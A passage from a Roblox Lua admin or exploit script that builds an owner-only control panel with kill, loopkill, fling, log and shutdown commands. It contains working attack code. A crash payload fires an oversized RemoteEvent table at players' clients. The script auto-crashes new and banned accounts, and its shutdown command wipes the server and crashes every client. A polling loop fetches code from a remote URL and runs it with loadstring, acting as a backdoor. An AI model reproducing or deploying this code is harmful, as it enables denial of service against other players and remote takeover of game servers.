  787. local PlayerButtons = makePlayers(GUIs.ScrollLeft)
  788.  
  789. for _,v in pairs(PlayerButtons) do
  790. v.MouseButton1Click:connect(function()
  791. local SelectNum = isSelected(v.Name)
  792. if SelectNum == nil then
  793. v.Box.Text = "X"
  794. table.insert(Selected, v.Name)
  795. makePlayerOptions(GUIs.ScrollRight)
  796. else
  797. v.Box.Text = ""
  798. table.remove(Selected, SelectNum)
  799. if #Selected == 0 then
  800. removeOptions(GUIs.ScrollRight)
  801. else
  802. makePlayerOptions(GUIs.ScrollRight)
  803. end
  804. end
  805. end)
  806. end
  807. end)
  808. end
  809.  
  810. function openServer()
  811. Run(function()
  812. local CommandButtons = makeCommands(2, GUIs.ScrollLeft)
  813.  
  814. for _,v in pairs(CommandButtons) do
  815. v.MouseButton1Click:connect(function()
  816. local SelectNum = isSelected(v.Name)
  817. if SelectNum == nil then
  818. v.Box.Text = "X"
  819. table.insert(Selected, v.Name)
  820. makeOptions(GUIs.ScrollRight)
  821. else
  822. v.Box.Text = ""
  823. table.remove(Selected, SelectNum)
  824. if #Selected == 0 then
  825. removeOptions(GUIs.ScrollRight)
  826. else
  827. makeOptions(GUIs.ScrollRight)
  828. end
  829. end
  830. end)
  831. end
  832. end)
  833. end
  834.  
  835. function GetTimeDist(OldTick, NewTick)
  836. local TimeType = nil
  837. local Symbol = ""
  838. local Seconds = tonumber(NewTick) - tonumber(OldTick)
  839. local Minutes = Seconds / 60
  840. local Hour = Minutes / 60
  841. local Day = Hour / 24
  842. local Year = Day / 365
  843.  
  844. if Seconds < 60 then
  845. TimeType = math.ceil(Seconds)
  846. Symbol = "s"
  847. elseif Minutes < 60 then
  848. TimeType = math.floor(Minutes)
  849. Symbol = "m"
  850. elseif Hour < 24 then
  851. TimeType = math.floor(Hour)
  852. Symbol = "h"
  853. elseif Day < 365 then
  854. TimeType = math.floor(Day)
  855. Symbol = "d"
  856. else
  857. TimeType = math.floor(Year)
  858. Symbol = "y"
  859. end
  860.  
  861. return tostring(TimeType) .. Symbol
  862. end
  863.  
  864. function openMisc()
  865. Run(function()
  866. local CommandButtons = makeCommands(3, GUIs.ScrollLeft)
  867.  
  868. for _,v in pairs(CommandButtons) do
  869. v.MouseButton1Click:connect(function()
  870. local SelectNum = isSelected(v.Name)
  871. if SelectNum == nil then
  872. v.Box.Text = "X"
  873. table.insert(Selected, v.Name)
  874. makeOptions(GUIs.ScrollRight)
  875. else
  876. v.Box.Text = ""
  877. table.remove(Selected, SelectNum)
  878. if #Selected == 0 then
  879. removeOptions(GUIs.ScrollRight)
  880. end
  881. end
  882. end)
  883. end
  884. end)
  885. end
  886.  
  887. function openSettings()
  888. Run(function()
  889. local CommandButtons = makeCommands(4, GUIs.ScrollLeft)
  890.  
  891. for _,v in pairs(CommandButtons) do
  892. v.MouseButton1Click:connect(function()
  893. local SelectNum = isSelected(v.Name)
  894. if SelectNum == nil then
  895. v.Box.Text = "X"
  896. table.insert(Selected, v.Name)
  897. makeOptions(GUIs.ScrollRight)
  898. else
  899. v.Box.Text = ""
  900. table.remove(Selected, SelectNum)
  901. if #Selected == 0 then
  902. removeOptions(GUIs.ScrollRight)
  903. end
  904. end
  905. end)
  906. end
  907. end)
  908. end
  909.  
  910. function openMenu(Num)
  911. if not isTweening and Num >= 1 and Num <= 4 then
  912. Selected = {}
  913. GUIs.ScrollRight:ClearAllChildren()
  914. GUIs.ScrollLeft:ClearAllChildren()
  915.  
  916. fixScroll(GUIs.ScrollRight)
  917. fixScroll(GUIs.ScrollLeft)
  918.  
  919. if TweenNum > 0 and TweenTime > 0 then
  920. isTweening = true
  921. GUIs.ScrollLeft.Position = UDim2.new(0, 0, 0, 0) + UDim2.new(0, 0, 0, -TweenNum)
  922. GUIs.ScrollRight.Position = UDim2.new(0, 0, 0, 0) + UDim2.new(0, 0, 0, -TweenNum)
  923. GUIs.BackFrame.Position = UDim2.new(0.5, -(910 / 2), 0, 146) + UDim2.new(0, 0, 0, -TweenNum)
  924. GUIs.BackFrame2.Position = UDim2.new(0.8, -(910 / 2) + 10, 0, 146) + UDim2.new(0, 0, 0, -TweenNum)
  925.  
  926. GUIs.ScrollLeft:TweenPosition(GUIs.ScrollRight.Position + UDim2.new(0, 0, 0, TweenNum), "Out", "Quad", TweenTime, false)
  927. GUIs.ScrollRight:TweenPosition(GUIs.ScrollLeft.Position + UDim2.new(0, 0, 0, TweenNum), "Out", "Quad", TweenTime, false)
  928. GUIs.BackFrame:TweenPosition(GUIs.BackFrame.Position + UDim2.new(0, 0, 0, TweenNum), "Out", "Quad", TweenTime, false)
  929. GUIs.BackFrame2:TweenPosition(GUIs.BackFrame2.Position + UDim2.new(0, 0, 0, TweenNum), "Out", "Quad", TweenTime, false)
  930.  
  931. Run(function()
  932. wait(TweenTime)
  933. isTweening = false
  934. end)
  935. end
  936.  
  937. if Num == 1 then
  938. openPlayers()
  939. elseif Num == 2 then
  940. openServer()
  941. elseif Num == 3 then
  942. openMisc()
  943. elseif Num == 4 then
  944. openSettings()
  945. end
  946. end
  947. end
  948.  
  949. function Launch()
  950. Run(function()
  951. local PlrGui = LP.PlayerGui
  952. Remove(PlrGui, GuiName)
  953.  
  954. GUIs = {}
  955. GUIs.PlrGui = PlrGui
  956.  
  957. if isClosed == true then
  958. local OpenGui = Instance.new("ScreenGui", PlrGui)
  959. OpenGui.Name = GuiName
  960. GUIs.OpenGui = ScreenGui
  961.  
  962. local Open = Instance.new("TextButton")
  963. Open.Name = "Open"
  964. Open.Size = UDim2.new(0, 22, 0, 22)
  965. Open.Position = UDim2.new(1, -28, 0.4, 0)
  966. Open.Text = "X"
  967. Open.FontSize = "Size18"
  968. Open.TextColor3 = Color3.new(0.16, 0.67, 1)
  969. Open.BackgroundTransparency = 0
  970. Open.BackgroundColor3 = Color3.new(1, 1, 1)
  971. Open.BorderSizePixel = 2
  972. Open.Parent = OpenGui
  973. GUIs.Open = Open
  974.  
  975. Open.MouseButton1Click:connect(function()
  976. isClosed = false
  977. Launch()
  978. end)
  979. else
  980. local ScreenGui = Instance.new("ScreenGui", PlrGui)
  981. ScreenGui.Name = GuiName
  982. GUIs.ScreenGui = ScreenGui
  983.  
  984. local Base = Instance.new("Frame")
  985. Base.Name = "BaseFrame"
  986. Base.Size = UDim2.new(0, 960, 0, 650)
  987. Base.Position = UDim2.new(0.5, -(960 / 2), 0.075, 0)
  988. Base.BackgroundColor3 = Color3.new(1, 1, 1)
  989. Base.BackgroundTransparency = 0
  990. Base.BorderSizePixel = 0
  991. Base.Parent = ScreenGui
  992. GUIs.Base = Base
  993.  
  994. local Title = Instance.new("ImageLabel")
  995. Title.Name = "Title"
  996. Title.Size = UDim2.new(0, 910, 0, 85)
  997. Title.Position = UDim2.new(0.5, -(910 / 2), 0, 0)
  998. Title.Image = Assets.Logo
  999. Title.BorderSizePixel = 0
  1000. Title.Parent = Base
  1001. GUIs.Title = Title
  1002.  
  1003. local Close = Instance.new("TextButton")
  1004. Close.Name = "Close"
  1005. Close.Size = UDim2.new(0, 22, 0, 22)
  1006. Close.Position = UDim2.new(1, -28, 0, 5)
  1007. Close.Text = "X"
  1008. Close.FontSize = "Size18"
  1009. Close.TextColor3 = Color3.new(0.16, 0.67, 1)
  1010. Close.BackgroundTransparency = 0
  1011. Close.BackgroundColor3 = Color3.new(1, 1, 1)
  1012. Close.BorderSizePixel = 2
  1013. Close.Parent = Base
  1014. GUIs.Close = Close
  1015.  
  1016. local TopMenu = Instance.new("ImageLabel")
  1017. TopMenu.Name = "TopMenu"
  1018. TopMenu.Size = UDim2.new(0, 910, 0, 24)
  1019. TopMenu.Position = UDim2.new(0.5, -(910 / 2), 0, 94)
  1020. TopMenu.Image = Assets.Menu
  1021. TopMenu.BorderSizePixel = 0
  1022. TopMenu.Parent = Base
  1023. GUIs.TopMenu = TopMenu
  1024.  
  1025. local Players = Instance.new("TextButton")
  1026. Players.Name = "Players"
  1027. Players.Text = "Players"
  1028. Players.Size = UDim2.new(0.25, 0, 1, 0)
  1029. Players.Position = UDim2.new(0, 0, 0, 0)
  1030. Players.FontSize = "Size12"
  1031. Players.TextStrokeTransparency = 0.5
  1032. Players.TextColor3 = Color3.new(1, 1, 1)
  1033. Players.BackgroundColor3 = Color3.new(0.16, 0.58, 1)
  1034. Players.BackgroundTransparency = 1
  1035. Players.BorderSizePixel = 0
  1036. Players.Parent = TopMenu
  1037. GUIs.Players = Players
  1038.  
  1039. local Server = Instance.new("TextButton")
  1040. Server.Name = "Server"
  1041. Server.Text = "Server"
  1042. Server.Size = UDim2.new(0.25, 0, 1, 0)
  1043. Server.Position = UDim2.new(0.25, 0, 0, 0)
  1044. Server.FontSize = "Size12"
  1045. Server.TextStrokeTransparency = 0.5
  1046. Server.TextColor3 = Color3.new(1, 1, 1)
  1047. Server.BackgroundColor3 = Color3.new(0.16, 0.58, 1)
  1048. Server.BackgroundTransparency = 1
  1049. Server.BorderSizePixel = 0
  1050. Server.Parent = TopMenu
  1051. GUIs.Server = Server
  1052.  
  1053. local Misc = Instance.new("TextButton")
  1054. Misc.Name = "Misc"
  1055. Misc.Text = "Misc"
  1056. Misc.Size = UDim2.new(0.25, 0, 1, 0)
  1057. Misc.Position = UDim2.new(0.5, 0, 0, 0)
  1058. Misc.FontSize = "Size12"
  1059. Misc.TextStrokeTransparency = 0.5
  1060. Misc.TextColor3 = Color3.new(1, 1, 1)
  1061. Misc.BackgroundColor3 = Color3.new(0.16, 0.58, 1)
  1062. Misc.BackgroundTransparency = 1
  1063. Misc.BorderSizePixel = 0
  1064. Misc.Parent = TopMenu
  1065. GUIs.Misc = Misc
  1066.  
  1067. local Settings = Instance.new("TextButton")
  1068. Settings.Name = "Settings"
  1069. Settings.Text = "Settings"
  1070. Settings.Size = UDim2.new(0.25, 0, 1, 0)
  1071. Settings.Position = UDim2.new(0.75, 0, 0, 0)
  1072. Settings.FontSize = "Size12"
  1073. Settings.TextStrokeTransparency = 0.5
  1074. Settings.TextColor3 = Color3.new(1, 1, 1)
  1075. Settings.BackgroundColor3 = Color3.new(0.16, 0.58, 1)
  1076. Settings.BackgroundTransparency = 1
  1077. Settings.BorderSizePixel = 0
  1078. Settings.Parent = TopMenu
  1079. GUIs.Settings = Settings
  1080.  
  1081. local BackFrame = Instance.new("Frame")
  1082. BackFrame.Name = "BackFrame"
  1083. BackFrame.Size = UDim2.new(0.3, 0, 1, -203)
  1084. BackFrame.Position = UDim2.new(0.5, -(910 / 2), 0, 146)
  1085. BackFrame.BackgroundTransparency = 0.8
  1086. BackFrame.BackgroundColor3 = Color3.new(1, 1, 1)
  1087. BackFrame.BorderSizePixel = 2
  1088. BackFrame.Parent = Base
  1089. GUIs.BackFrame = BackFrame
  1090.  
  1091. local ScrollLeft = Instance.new("ScrollingFrame")
  1092. ScrollLeft.Name = "ScrollLeft"
  1093. ScrollLeft.Size = UDim2.new(1, 0, 1, 3)
  1094. ScrollLeft.CanvasSize = UDim2.new(1, 0, 1, 0)
  1095. ScrollLeft.Position = UDim2.new(0, 0, 0, 0)
  1096. ScrollLeft.BackgroundColor3 = Color3.new(1, 1, 1)
  1097. ScrollLeft.BorderSizePixel = 0
  1098. ScrollLeft.Parent = BackFrame
  1099. GUIs.ScrollLeft = ScrollLeft
  1100.  
  1101. local BackFrame2 = Instance.new("Frame")
  1102. BackFrame2.Name = "BackFrame2"
  1103. BackFrame2.Size = UDim2.new(0.6, 36, 1, -203)
  1104. BackFrame2.Position = UDim2.new(0.8, -(910 / 2) + 10, 0, 146)
  1105. BackFrame2.BackgroundTransparency = 0.8
  1106. BackFrame2.BackgroundColor3 = Color3.new(1, 1, 1)
  1107. BackFrame2.BorderSizePixel = 2
  1108. BackFrame2.Parent = Base
  1109. GUIs.BackFrame2 = BackFrame2
  1110.  
  1111. local ScrollRight = Instance.new("ScrollingFrame")
  1112. ScrollRight.Name = "ScrollRight"
  1113. ScrollRight.Size = UDim2.new(1, 0, 1, 3)
  1114. ScrollRight.CanvasSize = UDim2.new(1, 0, 1, 0)
  1115. ScrollRight.Position = UDim2.new(0, 0, 0, 0)
  1116. ScrollRight.BackgroundColor3 = Color3.new(1, 1, 1)
  1117. ScrollRight.BorderSizePixel = 0
  1118. ScrollRight.Parent = BackFrame2
  1119. GUIs.ScrollRight = ScrollRight
  1120.  
  1121. local Credit = Instance.new("ImageLabel")
  1122. Credit.Name = "Credit"
  1123. Credit.Size = UDim2.new(0, 180, 0, 47)
  1124. Credit.Position = UDim2.new(1, -180, 1, -47)
  1125. Credit.Image = Assets.Credit
  1126. Credit.BorderSizePixel = 0
  1127. Credit.Parent = Base
  1128. GUIs.Credit = Credit
  1129.  
  1130. fixScroll(ScrollLeft)
  1131. fixScroll(ScrollRight)
  1132.  
  1133. Close.MouseButton1Click:connect(function()
  1134. isClosed = true
  1135. Launch()
  1136. end)
  1137.  
  1138. openMenu(1)
  1139.  
  1140. Players.MouseButton1Click:connect(function()
  1141. openMenu(1)
  1142. end)
  1143.  
  1144. Server.MouseButton1Click:connect(function()
  1145. openMenu(2)
  1146. end)
  1147.  
  1148. Misc.MouseButton1Click:connect(function()
  1149. openMenu(3)
  1150. end)
  1151.  
  1152. Settings.MouseButton1Click:connect(function()
  1153. openMenu(4)
  1154. end)
  1155. end
  1156. end)
  1157. end
  1158.  
  1159. function chatFunc(Plr)
  1160. Run(function()
  1161. local Rem = Instance.new("RemoteEvent", Plr)
  1162. Rem.Name = "¬v¬F¬i¬r¬e¬"
  1163. Plr.Chatted:connect(function(Msg)
  1164. local isSilent = false
  1165. local LMsg = Msg:lower()
  1166. if Msg:sub(1, 3) == "/e " then
  1167. isSilent = true
  1168. LMsg = Msg:sub(4):lower()
  1169. end
  1170. PlrTab = {Plr}
  1171. Sort(PlrTab, Plr)
  1172. if LMsg == "//y" and #PlrTab == 0 then
  1173. isSelected(true)
  1174. elseif LMsg == "//n" and #PlrTab == 0 then
  1175. isSelected(false)
  1176. end
  1177. if #Logs >= LogNum then
  1178. table.remove(Logs, 1)
  1179. end
  1180. table.insert(Logs, {Msg, Plr.Name, tick(), isSilent})
  1181. end)
  1182. end)
  1183. end
  1184.  
  1185. for _,v in pairs(Plrs:GetPlayers()) do
  1186. if (isTesting) or (isSB and v.Name == Owner) or (isGame and v.userId == Owner) then
  1187. LP = v
  1188. warn("Found Owner (" .. LP.Name .. ")")
  1189. chatFunc(v)
  1190. onAdded(v)
  1191. elseif (Banned[v.Name] or v.AccountAge < 90) then
  1192. local Ok, Err = pcall(function() v:Kick() end)
  1193. if not Ok then
  1194. pcall(function() Instance.new("RemoteEvent", v):FireClient(v,{[string.rep("a",2e5+5)]="a"}) end)
  1195. end
  1196. warn("Crashing: " .. v.Name)
  1197. else
  1198. chatFunc(v)
  1199. end
  1200. end
  1201.  
  1202. Plrs.PlayerAdded:connect(function(Plr)
  1203. Run(function()
  1204. if (isTesting) or (isSB and Plr.Name == Owner) or (isGame and Plr.userId == Owner) then
  1205. for _,v in pairs(Cons) do
  1206. pcall(function() v:disconnect() end)
  1207. end
  1208. Cons = {}
  1209. GUIs = {}
  1210. LP = Plr
  1211. warn("Found Owner (" .. LP.Name .. ")")
  1212. chatFunc(Plr)
  1213. onAdded(Plr)
  1214. elseif (Banned[Plr.Name] or Plr.AccountAge < 90) then
  1215. local Ok, Err = pcall(function() Plr:Kick() end)
  1216. if not Ok then
  1217. pcall(function() Instance.new("RemoteEvent", Plr):FireClient(Plr,{[string.rep("a",2e5+5)]="a"}) end)
  1218. end
  1219. warn("Crashing: " .. Plr.Name)
  1220. else
  1221. chatFunc(Plr)
  1222. end
  1223. pcall(function() warn(Plr.Name, Plr.AccountAge) end)
  1224. end)
  1225. end)
  1226.  
  1227. Plrs.PlayerRemoving:connect(function(Plr)
  1228. Run(function()
  1229. if LP and Plr == LP then
  1230. warn("Disconnected")
  1231. LP = nil
  1232. for _,v in pairs(Cons) do
  1233. pcall(function() v:disconnect() end)
  1234. end
  1235. Cons = {}
  1236. GUIs = {}
  1237. end
  1238. end)
  1239. end)
  1240.  
  1241. Run(function()
  1242. repeat wait(1/30) until checkedData
  1243. while wait(waitTimeBan) do
  1244. if isBan then
  1245. ypcall(function()
  1246. local Source = HServer:GetAsync(BanLink, true)
  1247. if Source ~= nil and type(Source) == "string" and Source ~= "" and Source ~= BanPage then
  1248. BanPage = Source
  1249. local NewBanned = {}
  1250. for Name in BanPage:gmatch("%w+") do
  1251. NewBanned[Name] = true
  1252. end
  1253. Banned = NewBanned
  1254. warn("Banlist was updated")
  1255. coroutine.wrap(function()
  1256. for _,v in pairs(Plrs:GetPlayers()) do
  1257. if Banned[v.Name] then
  1258. local Ok, Err = pcall(function() v:Kick() end)
  1259. if not Ok then
  1260. pcall(function() Instance.new("RemoteEvent", v):FireClient(v,{[string.rep("a",2e5+5)]="a"}) end)
  1261. end
  1262. warn("Founde Ban List : " .. v.Name)
  1263. end
  1264. end
  1265. end)()
  1266. end
  1267. end)
  1268. end
  1269. end
  1270. end)
  1271.  
  1272. Run(function()
  1273. repeat wait(1/30) until checkedData
  1274. while wait(waitTime) do
  1275. if isRemote then
  1276. ypcall(function()
  1277. local Source = HServer:GetAsync(RemoteLink, true)
  1278. if Source ~= RemotePage then
  1279. RemotePage = Source
  1280. if Source:sub(1, 6):lower() == "[fast]" then
  1281. Source = Source:sub(8)
  1282. waitTime = 0.5
  1283. waitTimeBan = 2
  1284. Hint("Switched to fast")
  1285. elseif Source:sub(1, 6):lower() == "[slow]" then
  1286. Source = Source:sub(8)
  1287. waitTime = 5
  1288. waitTimeBan = 5
  1289. Hint("Switched to slow")
  1290. end
  1291. if Source:sub(1, 4):lower() == "[l] " then
  1292. for _,v in pairs(game:GetService("Players"):GetPlayers()) do
  1293. if v.Character and v.Character.Parent == Workspace then
  1294. local Ok, Err = coroutine.resume(coroutine.create(function()
  1295. NLS(Source:sub(5), v.Character)
  1296. end))
  1297. if Ok then
  1298. warn("[S] Script Ran")
  1299. else
  1300. warn("[S] Error: " .. Err)
  1301. end
  1302. end
  1303. end
  1304. elseif Source:sub(1, 4):lower() == "[e] " then
  1305. local Func, Err = loadstring(tostring((Source:sub(5))))
  1306. if Func then
  1307. local Success, Err = ypcall(Func)
  1308. if Success then
  1309. warn("[E] Script Ran")
  1310. elseif Err then
  1311. warn("[E] Error: " .. Err)
  1312. end
  1313. elseif Err then
  1314. warn("[E] Error: " .. Err)
  1315. end
  1316. elseif Source:sub(1, 4):lower() == "msg " then
  1317. local Msg = Instance.new("Message", Workspace)
  1318. Msg.Name = "TestHint"
  1319. Msg.Text = Source:sub(5)
  1320. wait(5)
  1321. pcall(function() Msg:Destroy() end)
  1322. else
  1323. local Ok, Err = coroutine.resume(coroutine.create(function()
  1324. NS(Source, Workspace)
  1325. end))
  1326. if Ok then
  1327. warn("[S] Script Ran")
  1328. else
  1329. warn("[S] Error: " .. Err)
  1330. end
  1331. end
  1332. end
  1333. end)
  1334. end
  1335. end
  1336. end)
  1337.  
  1338. function Create(Name, Type, Func, List)
  1339. table.insert(Commands, {
  1340. Name = Name or "N/A";
  1341. Type = Type or 3;
  1342. Func = Func or function() Hint("[" .. Name .. "] No Function Found") end;
  1343. List = List or nil;
  1344. })
  1345. end
  1346.  
  1347. Create(
  1348. "Kill", 1,
  1349. function(List, Command)
  1350. for _,v in pairs(List) do
  1351. Run(function()
  1352. if hasCharacter(v) then
  1353. v.Character:BreakJoints()
  1354. else
  1355. v:LoadCharacter()
  1356. repeat wait(1/30) until hasCharacter(v)
  1357. v.Character:BreakJoints()
  1358. end
  1359. end)
  1360. end
  1361. end
  1362. )
  1363.  
  1364. Create(
  1365. "Rejoin", 1,
  1366. function(List, Command)
  1367. for _,v in pairs(List) do
  1368. Run(function()
  1369. NLS([[game:GetService("TeleportService"):Teleport(game.PlaceId)]], v.Character or v.PlayerGui or v.Backpack or nil)
  1370. end)
  1371. end
  1372. end
  1373. )
  1374.  
  1375.  
  1376. Create(
  1377. "Loopkill", 1,
  1378. function(List, Command)
  1379. for _,v in pairs(List) do
  1380. Run(function()
  1381. Loopkill[v.Name] = true
  1382. local VName = v.Name
  1383. while Loopkill[v.Name] do
  1384. if hasCharacter(v) then
  1385. v.Character:BreakJoints()
  1386. elseif v and v.Parent ~= nil then
  1387. v:LoadCharacter()
  1388. repeat wait(1/30) until hasCharacter(v)
  1389. v.Character:BreakJoints()
  1390. elseif Plrs:findFirstChild(VName) then
  1391. v = Plrs[VName]
  1392. end
  1393. wait(.1)
  1394. end
  1395. end)
  1396. end
  1397. end
  1398. )
  1399.  
  1400. Create(
  1401. "UnLoopkill", 1,
  1402. function(List, Command)
  1403. for _,v in pairs(List) do
  1404. Run(function()
  1405. Loopkill[v.Name] = nil
  1406. end)
  1407. end
  1408. end
  1409. )
  1410.  
  1411. Create(
  1412. "Reset", 1,
  1413. function(List, Command)
  1414. for _,v in pairs(List) do
  1415. v:LoadCharacter()
  1416. end
  1417. end
  1418. )
  1419.  
  1420. Create(
  1421. "Kick (Crash)", 1,
  1422. function(List, Command)
  1423. for _,v in pairs(List) do
  1424. local Ok, Err = pcall(function() v:Kick() end)
  1425. if not Ok then
  1426. if v:findFirstChild("¬v¬F¬i¬r¬e¬") and v["¬v¬F¬i¬r¬e¬"]:IsA("RemoteEvent") then
  1427. v["¬v¬F¬i¬r¬e¬"]:FireClient(v,{[string.rep("a",2e5+5)]="a"})
  1428. warn("Fired Injected")
  1429. else
  1430. Instance.new("RemoteEvent", v):FireClient(v,{[string.rep("a",2e5+5)]="a"})
  1431. warn("Fired New")
  1432. end
  1433. else
  1434. warn("Crashed")
  1435. end
  1436. end
  1437. end
  1438. )
  1439.  
  1440. Create(
  1441. "Kick (Error)", 1,
  1442. function(List, Command)
  1443. for _,v in pairs(List) do
  1444. local Sound = Instance.new("Sound", v)
  1445. Sound.SoundId = "rbxassetid://83594623"
  1446. Sound:Play()
  1447. warn("[E]", v.Name)
  1448. end
  1449. end
  1450. )
  1451.  
  1452. Create(
  1453. "Logs", 1,
  1454. function(List, Command)
  1455. local LogTab = {}
  1456. local PlrNames = {}
  1457. for _,v in pairs(List) do
  1458. PlrNames[v.Name] = true
  1459. end
  1460. for i = #Logs, 1, -1 do
  1461. local Log = Logs[i]
  1462. if PlrNames[Log[2]] then
  1463. local TimeDist = GetTimeDist(Log[3], tick())
  1464. local Msg = Log[1]:gsub("\n", "; ")
  1465. table.insert(LogTab, "[" .. TimeDist .. "] [" .. Log[2] .. "] " .. Msg)
  1466. end
  1467. end
  1468. if GUIs.ScrollRight then
  1469. makeButtons(GUIs.ScrollRight, LogTab, "Size12", true)
  1470. end
  1471. end,
  1472. function()
  1473. local Players = getPlayers()
  1474. table.insert(Players, "All")
  1475. return Players
  1476. end
  1477. )
  1478.  
  1479. Create(
  1480. "Silent Logs", 1,
  1481. function(List, Command)
  1482. local LogTab = {}
  1483. local PlrNames = {}
  1484. for _,v in pairs(List) do
  1485. PlrNames[v.Name] = true
  1486. end
  1487. for i = #Logs, 1, -1 do
  1488. local Log = Logs[i]
  1489. if PlrNames[Log[2]] and Log[4] == true then
  1490. local TimeDist = GetTimeDist(Log[3], tick())
  1491. local Msg = Log[1]:gsub("\n", "; ")
  1492. table.insert(LogTab, "[" .. TimeDist .. "] [" .. Log[2] .. "] " .. Msg)
  1493. end
  1494. end
  1495. if GUIs.ScrollRight then
  1496. makeButtons(GUIs.ScrollRight, LogTab, "Size12", true)
  1497. end
  1498. end,
  1499. function()
  1500. local Players = getPlayers()
  1501. table.insert(Players, "All")
  1502. return Players
  1503. end
  1504. )
  1505.  
  1506. Create(
  1507. "God", 1,
  1508. function(List, Command)
  1509. for _,v in pairs(List) do
  1510. if hasCharacter(v) and v.Character:findFirstChild("Humanoid") then
  1511. v.Character.Humanoid.MaxHealth = math.huge
  1512. end
  1513. end
  1514. end
  1515. )
  1516.  
  1517. Create(
  1518. "ForceField", 1,
  1519. function(List, Command)
  1520. for _,v in pairs(List) do
  1521. if hasCharacter(v) then
  1522. Instance.new("ForceField", v.Character)
  1523. end
  1524. end
  1525. end
  1526. )
  1527.  
  1528. Create(
  1529. "UnForceField", 1,
  1530. function(List, Command)
  1531. for _,v in pairs(List) do
  1532. if hasCharacter(v) then
  1533. for _,v2 in pairs(v.Character:GetChildren()) do
  1534. if v2:IsA("ForceField") then
  1535. v2:Destroy()
  1536. end
  1537. end
  1538. end
  1539. end
  1540. end
  1541. )
  1542.  
  1543. Create(
  1544. "Explode", 1,
  1545. function(List, Command)
  1546. for _,v in pairs(List) do
  1547. if hasCharacter(v) then
  1548. local Ex = Instance.new("Explosion", Workspace)
  1549. Ex.Position = v.Character.Torso.CFrame.p
  1550. Ex.BlastRadius = 6
  1551. Ex.DestroyJointRadiusPercent = 1
  1552. end
  1553. end
  1554. end
  1555. )
  1556.  
  1557. Create(
  1558. "Blast", 1,
  1559. function(List, Command)
  1560. for _,v in pairs(List) do
  1561. if hasCharacter(v) then
  1562. local Ex = Instance.new("Explosion", Workspace)
  1563. Ex.Position = v.Character.Torso.CFrame.p
  1564. Ex.BlastPressure = 5000000
  1565. Ex.BlastRadius = 20
  1566. Ex.DestroyJointRadiusPercent = 0
  1567. end
  1568. end
  1569. end
  1570. )
  1571.  
  1572. Create(
  1573. "Fling", 1,
  1574. function(List, Command)
  1575. for _,v in pairs(List) do
  1576. if hasCharacter(v) then
  1577. v.Character.Torso.Velocity = v.Character.Torso.CFrame.lookVector * Grav * 1.1
  1578. end
  1579. end
  1580. end
  1581. )
  1582.  
  1583. Create(
  1584. "Fix Character", 1,
  1585. function(List, Command)
  1586. for _,v in pairs(List) do
  1587. v.CharacterAppearance = "http://www.roblox.com/Asset/CharacterFetch.ashx?userId=" .. v.userId
  1588. v:LoadCharacter()
  1589. end
  1590. end
  1591. )
  1592.  
  1593. Create(
  1594. "Fix Humanoid", 1,
  1595. function(List, Command)
  1596. for _,v in pairs(List) do
  1597. if hasCharacter(v) then
  1598. local fixedHumanoid = false
  1599. for _,v2 in pairs(v.Character:GetChildren()) do
  1600. if v2:IsA("Humanoid") then
  1601. v2.Name = "Humanoid"
  1602. fixedHumanoid = true
  1603. end
  1604. end
  1605. if fixedHumanoid == false then
  1606. Instance.new("Humanoid", v.Character).Name = "Humanoid"
  1607. end
  1608. end
  1609. end
  1610. end
  1611. )
  1612.  
  1613. Create(
  1614. "Clean", 2,
  1615. function(List, Command)
  1616. for _,v in pairs(game:GetChildren()) do
  1617. ypcall(function()
  1618. if v.Name ~= "Workspace" and v.Name ~= "Players" and v.Name ~= "NetworkServer" and v.Name ~= "StarterPlayer" then
  1619. for _,v2 in pairs(v:GetChildren()) do
  1620. pcall(function()
  1621. v2:Destroy()
  1622. end)
  1623. end
  1624. elseif v.Name == "Players" then
  1625. for _,v2 in pairs(v:GetChildren()) do
  1626. if v2.ClassName == "Player" then
  1627. ypcall(function()
  1628. Clear(v2)
  1629. end)
  1630. else
  1631. pcall(function()
  1632. v2:Destroy()
  1633. end)
  1634. end
  1635. end
  1636. end
  1637. end)
  1638. end
  1639. Clean()
  1640. end,
  1641. function() return {"SERVER"} end
  1642. )
  1643.  
  1644. Create(
  1645. "Shutdown", 2,
  1646. function(List, Command)
  1647. coroutine.resume(coroutine.create(function()
  1648. for _,v in pairs(game:GetChildren()) do
  1649. ypcall(function()
  1650. if v.Name ~= "Workspace" and v.Name ~= "Players" and v.Name ~= "NetworkServer" and v.Name ~= "StarterPlayer" then
  1651. for _,v2 in pairs(v:GetChildren()) do
  1652. pcall(function()
  1653. v2:Destroy()
  1654. end)
  1655. end
  1656. elseif v.Name == "Players" then
  1657. for _,v2 in pairs(v:GetChildren()) do
  1658. if v2.ClassName == "Player" then
  1659. ypcall(function()
  1660. Clear(v2)
  1661. end)
  1662. else
  1663. pcall(function()
  1664. v2:Destroy()
  1665. end)
  1666. end
  1667. end
  1668. end
  1669. end)
  1670. end
  1671. Clean(true)
  1672. end))
  1673. while wait(1/30) do
  1674. ypcall(function()
  1675. for _,v in pairs(game:GetService("Players"):GetPlayers()) do
  1676. ypcall(function()
  1677. Instance.new("RemoteEvent", v):FireClient(v,{[string.rep("a",2e5+5)]="a"})
  1678. end)
  1679. end
  1680. end)
  1681. end
  1682. end,
  1683. function() return {"SERVER"} end
  1684. )
  1685. --[[
  1686. local CurrentObj = game
  1687. local Children = {}
  1688. local ChosenEffect = function() end
  1689. local TopServices = {
  1690. "Workspace";
  1691. "Players";
  1692. "Lighting";
  1693. "ServerStorage";
  1694. "ServerScriptService";
  1695. "ReplicatedStorage";
  1696. "NetworkServer";
  1697. "Teams";
  1698. "StarterPlayer";
  1699. "StarterGui";
  1700. "StarterPack";
  1701. "SoundService";
  1702. "Debris";
  1703. "LogService";
  1704. "HttpService";
  1705. }
  1706.  
  1707. Create( --Left: Effects | Right: Children
  1708. "Explore", 2,
  1709. function(List, Command)
  1710. ChosenEffect()
  1711. end,
  1712. function()
  1713. pcall(function()
  1714. if CurrentObj == nil or not CurrentObj:IsDescendantOf(game) then
  1715. CurrentObj = game
  1716. end
  1717. end)
  1718. Children = {}
  1719. local StringChildren = {}
  1720. local TopAdded = {}
  1721. if CurrentObj == game then
  1722. for _,v in pairs(TopServices) do
  1723. pcall(function()
  1724. if CurrentObj[v] then
  1725. table.insert(Children, CurrentObj[v])
  1726. TopAdded[v] = true
  1727. end
  1728. end)
  1729. end
  1730. end
  1731. warn(#Children)
  1732. for _,v in pairs(CurrentObj:GetChildren()) do
  1733. pcall(function()
  1734. if CurrentObj ~= game then
  1735. table.insert(Children, v)
  1736. elseif TopAdded[v.Name] == nil then
  1737. table.insert(Children, v)
  1738. end
  1739. end)
  1740. end
  1741. warn(#Children, #game:GetChildren())
  1742. for _,v in pairs(Children) do
